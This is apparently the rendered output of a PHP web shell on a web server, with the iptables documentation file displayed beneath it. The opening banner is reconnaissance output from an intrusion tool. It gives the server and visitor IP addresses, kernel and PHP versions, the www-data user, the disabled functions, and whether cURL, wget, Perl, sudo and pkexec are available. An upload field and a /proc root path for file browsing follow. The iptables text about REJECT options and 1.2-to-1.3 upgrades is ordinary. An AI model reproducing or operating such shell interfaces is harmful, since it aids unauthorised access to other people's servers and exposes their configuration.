| Server IP : 13.213.54.232 / Your IP : 216.73.216.72 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/246939/root/usr/share/doc/iptables/ |
Upload File : |
INCOMPATIBILITIES: - The REJECT target has an '--reject-with admin-prohib' option which used with kernels that do not support it, will result in a plain DROP instead of REJECT. Use with caution. Kernels that do support it: 2.4 - since 2.4.22-pre9 2.6 - all - There are some issues related to upgrading from 1.2.x to 1.3.x on a system with dynamic ruleset changes during runtime. (Please see https://bugzilla.netfilter.org/bugzilla/show_bug.cgi?id=334). After upgrading from 1.2 to 1.3, it suggest go do an iptables-save, then iptables-restore to ensure your dynamic rule changes continue to work.